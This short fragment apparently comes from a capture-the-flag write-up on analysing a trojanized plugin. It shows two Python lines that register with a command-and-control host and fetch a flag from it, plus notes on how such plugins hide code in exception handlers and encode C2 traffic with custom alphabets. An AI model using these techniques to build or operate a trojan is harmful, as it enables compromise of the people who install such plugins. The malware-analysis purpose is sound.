uuid = register_with_c2(domain)
flag = requests.get(f"http://{domain}/{path}", cookies={"uuid": uuid}).text

Key insight: Trojanized plugins inject code in exception handlers (try/except blocks visible in diff). Custom alphabets for C2 encoding use modular rotation instead of standard ciphers. Always diff suspicious packages against known-good releases from the official repository to isolate injected code.